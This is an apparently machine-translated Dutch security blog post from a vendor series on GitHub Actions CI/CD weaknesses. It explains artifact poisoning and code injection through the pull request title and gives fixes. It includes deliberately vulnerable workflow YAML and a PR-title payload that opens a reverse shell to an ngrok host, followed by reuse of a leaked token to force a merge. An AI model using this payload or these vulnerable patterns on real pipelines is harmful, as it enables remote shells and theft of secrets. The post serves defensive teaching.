CICD-Pipelines

Een diepe duik in CI/CD Pipelines Kwetsbaarheden (III): Artefactvergiftiging en code-injectie

In eerdere berichten (zie Indirect vergiftigd Pipeline Uitvoering I-PPE en vergiftigde Pipeline Uitvoering PBM , we hadden voornamelijk te maken met PPE (Poisoned Pipeline Executie): we hebben gezien hoe het werkt, de effecten ervan, enige uitbuiting en enkele manieren om ons ertegen te beschermen. 

Dit bericht gaat dieper in op een aantal andere CI/CD pipeline kwetsbaarheden zoals Artefact Poisoning en Code Injection. 

Om dit te doen, zullen we het op de een of andere manier baseren op PPE, dus laten we een korte samenvatting maken van wat we over PPE hebben gezien.

Eerder werk op het gebied van PBM

Samenvattend zijn we begonnen met een eenvoudige GitHub pipeline om bijgedragen code te bouwen en te testen via een pull request. Bovendien definieert het een aantal checks die, indien voldaan, de code zullen samenvoegen in de mainstream branch. We noemden dit als Scenario #1.

CI/CD-Pipelines

In ons vorige bericht hebben we laten zien hoe dit eenvoudig is pipeline was kwetsbaar voor zowel D-PPE als I-PPE.

Het is ons gelukt om D-PBM repareren by het wijzigen van de triggergebeurtenis vanaf pull_request naar pull_request_target, Het maken van pipeline veilig voor D-PPE. Als een herinnering, pipelines die worden geactiveerd op een pull_request_target-gebeurtenis, zullen de basis uitvoeren pipeline code, niet de pipeline code die in de pull request. 

Wij noemden dit als Scenario #2.

CI/CD-Pipelines-Kwetsbaarheden-scenario-2

Als gevolg van deze wijziging hebben we dat aangetoond Scenario #2 was nog steeds kwetsbaar voor I-PPE

Om het op te lossen, besloten we het splitsen pipeline in twee:

  • de 1st pipeline (Bouw CI) zou bekijk de PR-code (om deze te bouwen), maak de build en genereer een artefact.
  • De 2nd pipeline (Test-CI) zou check de basiscode af (om wijziging van het shell-script te voorkomen) en voer de originele scripts uit op het artefact. 
  • Om het TestCI te synchroniseren pipeline om NA het Build CI uit te voeren pipeline, we zullen de gebruiken workflow_run aansteken, veroorzaken. 

Wij noemden dit als Scenario #3.

CI/CD-Pipelines-Kwetsbaarheden-scenario-3

Laten we de code van beide herstellen pipelines volgens deze wijzigingen...

1e pipeline (Bouw CI):

name: Build CI   on:   pull_request_target:     branches: [ main ]   env:   MY_SECRET: ${{ secrets.MY_SECRET }}   GITHUB_PAT: ${{ secrets.GH_PAT }}   jobs:                   prt_build_and_upload:     runs-on: ubuntu-latest     steps:       - name: Checking out PR code         uses: actions/checkout@v4         if: ${{ github.event_name == 'pull_request_target' }}         with:           # This is to get the PR code instead of the repo code           ref: ${{ github.event.pull_request.head.sha }}         - name: Building ...         run: |           mkdir ./bin           touch ./bin/mybin.exe 	    # Save some PR info for later use by the 2nd pipeline           echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt           echo "${{github.event.number}}" > ./bin/PR_ID.txt   	# Upload the binary as a pipeline artifact       - name: Archive building artifacts         uses: actions/upload-artifact@v3         with:           name: archive-bin           path: |             bin 

2e pipeline (Test-CI):

name: Test CI   on:   workflow_run:     workflows: [ 'Build CI' ]     types: [completed]     env:   MY_SECRET: ${{ secrets.MY_SECRET }}   GITHUB_PAT: ${{ secrets.GH_PAT }}     jobs:   deploy:     runs-on: ubuntu-latest     if: ${{ github.event.workflow_run.conclusion == 'success' }}     steps:           # By default, checks out base code (not PR code)       - name: Checkout repository         uses: actions/checkout@v4   	# Download the artifact       - name: 'Download artifact'         uses: actions/github-script@v6         with:           script: |             let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({                owner: context.repo.owner,                repo: context.repo.repo,                run_id: context.payload.workflow_run.id,             });             let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {               return artifact.name == "archive-bin"             })[0];             let download = await github.rest.actions.downloadArtifact({                owner: context.repo.owner,                repo: context.repo.repo,                artifact_id: matchArtifact.id,                archive_format: 'zip',             });             let fs = require('fs');             fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));   	# Unzip the artifact       - name: 'Unzip artifact'         run: |           unzip -o myartifact.zip         # Runs tests       - name: Running tests ...         id : run_tests         run: |           echo Running tests..           chmod +x runtests.sh           ./runtests.sh           echo Tests executed.   #       # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)       # - name: pr_check_conditions_to_merge         id: check_pr         run: |           echo "check_conditions_to_merge"           PR_ID=$(<PR_ID.txt)           PR_TITLE=$(<PR_TITLE.txt)           echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"           echo "merge=false" >> $GITHUB_OUTPUT             - name: pr_merge_pr_false         if: steps.check_pr.outputs.merge == 'false'         run: |           echo "The merge check was ${{ steps.check_pr.outputs.merge }}"           echo "Merge conditions NOT MEET!!!"           - name: pr_merge_pr_true         if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'         run: |           echo "The merge check was ${{ steps.check_pr.outputs.merge }}"           echo "Merge conditions successfully MEET!!!"           echo "Merging .."           PR_ID=$(<PR_ID.txt)           curl -L \                   -X PUT \                   -H "Accept: application/vnd.github+json" \                   -H "Authorization: Bearer $GITHUB_PAT" \                   -H "X-GitHub-Api-Version: 2022-11-28" \  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \                   -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'             

Artefactvergiftiging

Volgens bovenstaande CI/CD pipelines:

  • pipeline Bouw CI is veilig aan beide D-PPE (door pull_request_target) en I-PPE (omdat het niet langer het shellscript uitvoert).
  • pipeline Test-CI Ook veilig aan beide D-PPE (door workflow_run) en I-PPE (omdat het de basiscode uitcheckt om het originele shell-script te krijgen) 

Laten we diep in deze “oplossing” duiken.

Pipeline Test-CI downloadt het artefact als een zip-bestand.

# Unzip the artifact       - name: 'Unzip artifact'         run: |           unzip -o myartifact.zip         # Runs tests       - name: Running tests ...         id : run_tests         run: |           echo Running tests..           chmod +x runtests.sh           ./runtests.sh           echo Tests executed. 

Eenmaal uitgepakt, voert het het “veilige” shell-script uit. Waarom zeg ik het “veilige” shell-script? Omdat in een vorige stap de pipeline checkt de “basis”-code uit, zodat het originele script in de werkruimtemap wordt geplaatst. Daarom, wanneer de pipeline voert het shellscript uit dat het zal uitvoeren met behulp van het eerder gedownloade binaire bestand.

Wat is dan de probleem met deze aanpak? Het probleem komt wanneer een gebruiker een nieuwe “creëert”. pipeline

Als een gebruiker een PR opent met daarin een nieuwe pipeline, GitHub zal dat uitvoeren pipeline  (onder bepaalde voorwaarden, zoals we in het vorige hebben gezien post).

Dit gegeven, wat als de gebruiker een nieuw pipeline met dezelfde naam als Build CI? Ja, het is verrassend, maar Met GitHub kun je er twee maken pipelines met dezelfde naam!!

Houd er rekening mee dat Test CI wordt uitgevoerd na Build CI...

name: Test CI   on:   workflow_run:     workflows: [ 'Build CI' ]     types: [completed]

Verrassend, want het zijn er nu twee pipelines met dezelfde naam, de pipeline Test CI wordt tweemaal uitgevoerd: één na het origineel pipeline en andere na de “nieuwe” pipeline.

Hoe kan de hacker hiervan profiteren? 

  • Ten eerste kan de kwaadwillende gebruiker het shellscript wijzigen om het geheim naar de door de hacker bestuurde server te sturen.
  • Ten tweede het nieuwe pipeline bevat een regel om het gewijzigde shell-script naar het artefact te kopiëren → het vergiftigen van de artefactenct!!!

Wanneer de gebruiker een PR opent met deze wijzigingen, wordt het “nieuwe” pipeline wordt uitgevoerd (het uploaden van een vergiftigd artefact) en de Deploy CI pipeline wordt daarna uitgevoerd, resulterend in het “gewijzigde” shellscript overschrijft het “originele” shellscript dat zich in de pipeline werkruimte.

CI/CD-Pipelines-kwetsbaarheden

Dit is wat wij noemen Artefactvergiftiging, dat wil zeggen het mogelijkheid om de pipeline logica door wijziging van a pipeline artefact

Eén mogelijk sanering is vrij eenvoudig: Door het artefact gewoon uit te pakken naar een submap van de werkruimte, wordt voorkomen dat het “basis” shell-script wordt overschreven

Code-injectie

Kun je naast artefactvergiftiging nog andere kwetsbaarheden in de bovenstaande code zien?

Laten we gaan!!

Zoals je in de code kunt zien, pipeline Build CI bouwt het binaire bestand, het uploadt het binaire bestand als een pipeline artefact en bovendien uploadt het een aantal extra gegevens: de PR-titel en de PR-ID.

          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt           echo "${{github.event.number}}" > ./bin/PR_ID.txt

Waarom? Want om de PR samen te voegen, zoals je hieronder kunt zien, de Test CI pipeline heeft de PR-ID nodig om de GitHub REST API aan te roepen die de PR samenvoegt. 

Hoe werkt de Test CI pipeline dat PR-ID verkrijgen? Informatie delen in tekstbestanden (onderdeel van een pipeline artefact) is een gebruikelijke manier om informatie te delen tussen pipelineS. En dat is precies wat deze zijn pipelines aan het doen zijn.

  echo "Merging .."           PR_ID=$(<PR_ID.txt)           curl -L \                   -X PUT \                   -H "Accept: application/vnd.github+json" \                   -H "Authorization: Bearer $GITHUB_PAT" \                   -H "X-GitHub-Api-Version: 2022-11-28" \                   https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \                   -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}' 

Strikt genomen is alleen de PR-ID nodig om de PR samen te voegen, maar de pipeline admin besloot dat de Build CI ook de PR-titel zou opnemen, dus de Test CI pipeline zou een informatiebericht afdrukken met zowel de PR-ID als de titel.

name: Build CI       - name: Building ...         run: |           mkdir ./bin           touch ./bin/mybin.exe 	    # Save some PR info for later use by the 2nd pipeline           echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt           echo "${{github.event.number}}" > ./bin/PR_ID.txt  
name: Test CI [...]           PR_ID=$(<PR_ID.txt)           PR_TITLE=$(<PR_TITLE.txt)           echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE" 

De PR-titel bestaat altijd uit gegevens die afkomstig zijn van de gebruiker en moet als zodanig altijd als niet-vertrouwd worden beschouwd. Dus de pipeline moet als zodanig omgaan en beschermende maatregelen nemen.

In de bovenstaande code kunnen we het specifieke bericht zien dat de PR-titel weerspiegelt. Het is gewoon een “echo” Linux-commando.

Door middel van stringinterpolatie genereert Github, als de titel “een dummytitel” is, intern een script met daarin

echo ""a dummy title""

Maar wat als de PR-titel zoiets zou zijn als:

Schadelijke titel” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "

Het script zou worden:

echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "" 

Dit resulteert in het openen van een omgekeerde shell tegen de door een hacker bestuurde server.

CI/CD-Pipelines

Die omgekeerde shell kan worden gebruikt om toegang te krijgen tot de pipeline geheimen (onthoud dat Test CI in de privilegemodus wordt uitgevoerd omdat het wordt geactiveerd door workflow_run, zodat het toegang heeft tot geheimen).

Maar wat kan er nog meer gedaan worden via die omgekeerde schil? 

Kijk naar de CI-testcode:

env:   GITHUB_PAT: ${{ secrets.GH_PAT }}   [...]           echo "Merging .."           PR_ID=$(<PR_ID.txt)           curl -L \                   -X PUT \                   -H "Accept: application/vnd.github+json" \                   -H "Authorization: Bearer $GITHUB_PAT" \                   -H "X-GitHub-Api-Version: 2022-11-28" \                   https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \                   -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'  

Zoals je kunt zien in het TestCI pipeline, maakt het curl merge-commando gebruik van GITHUB_PAT (gedefinieerd als een pipeline env var), dus de runner bevat de GITHUB_PAT als omgevingsvariabele. Bovendien creëert het ook een omgevingsvar die de PR ID leest. 

De hacker hoeft dus alleen maar het curl-commando te kopiëren en in de omgekeerde shell te plakken, waardoor de PR rechtstreeks in de beschermde branch wordt samengevoegd.

code-injectie

Om dit alles te beschermen:

  • Naar vermijd stringinterpolatie met niet-vertrouwde gegevens (kwetsbaar voor code injectie) door het definiëren van pipeline env vars in plaats van het rechtstreeks in echo-opdrachten te gebruiken

In plaats van gebruiken:

name: Build CI       - name: Building ...         run: |           mkdir ./bin           touch ./bin/mybin.exe 	    # Save some PR info for later use by the 2nd pipeline           echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt           echo "${{github.event.number}}" > ./bin/PR_ID.txt

Gebruik dit:

  - name: Building ...         run: |           mkdir ./bin           touch ./bin/mybin.exe 	    # Save some PR info for later use by the 2nd pipeline           echo "$PR_TITLE" > ./bin/PR_TITLE.txt           echo "${{github.event.number}}" > ./bin/PR_ID.txt         env:           PR_TITLE: ${{github.event.pull_request.title}} 
  • Zelfs met code-injectie-exploit zou het curl merge-commando niet zijn gelukt als je het op de juiste manier had gedaan beschermde uw pull requests via een verplichte beoordeling of goedkeuring

Conclusies

Het is op de een of andere manier moeilijk om te beschermen CI/CD pipelines configuratie en get pipelineHet is vrij van kwetsbaarheden.

Dit betekent niet dat CI/CD systemen (zoals GitHub in dit geval) zijn per definitie kwetsbaar. CI/CD Systemen bieden de middelen om bescherming te bieden tegen kwetsbaarheden … maar het is de verantwoordelijkheid van de beheerder om die bescherming te implementeren.

Maar… Je kunt een kwetsbaarheid niet oplossen tenzij je je bewust bent van het bestaan ​​ervan!!!

Het is natuurlijk zo dat een zeer bekwame DevOps-beheerder al deze bedreigingen in gedachten kan houden en ze op de juiste manier kan beschermen. CI/CD pipelines, maar toch is het zeer waardevol om een ​​product te gebruiken om al deze soorten kwetsbaarheden te detecteren. En natuurlijk om dit proces van het vasthouden van kwetsbaarheden te automatiseren (bijvoorbeeld door de scan uit te voeren als onderdeel van CI/CD pipelines).

Deze aanpak zou men kunnen noemen “Veiligheidspoort

  • Maak een nieuw pipeline (Beveiligingspoort) om te controleren op CI/CD pipelines kwetsbaarheden en maak het andere CI pipelineDeze mogen alleen worden uitgevoerd na succesvolle voltooiing van de Beveiligingspoort pipeline.
  • De veiligheidspoort pipelines zal controleren op CI/CD pipelines kwetsbaarheden en, 
    • Als er kwetsbaarheden worden gevonden, mislukt deze en dus ook de andere pipelines worden niet uitgevoerd. 
    • Als er geen vulns worden gevonden, wordt de pipeline zal slagen en de andere pipelines wordt zoals gewoonlijk uitgevoerd.
CI/CD-Veiligheid

vergiftigde Pipeline Uitvoering (PPE)

Een diepe duik in CI/CD Pipelines Kwetsbaarheden (I)

Indirect vergiftigd Pipeline Uitvoering (I-PPE)

Een diepe duik in CI/CD Pipelines Kwetsbaarheden (II)

Bescherming tegen artefactvergiftiging via softwareattesten

Een diepe duik in CI/CD Pipelines Kwetsbaarheden (IV)
sca-tools-software-compositie-analyse-tools
Prioriteer, herstel en beveilig uw softwarerisico's
Maak nu een gratis account aan.
Geen kredietkaart nodig.

Beveilig uw softwareontwikkeling en -levering

met Xygeni-productsuite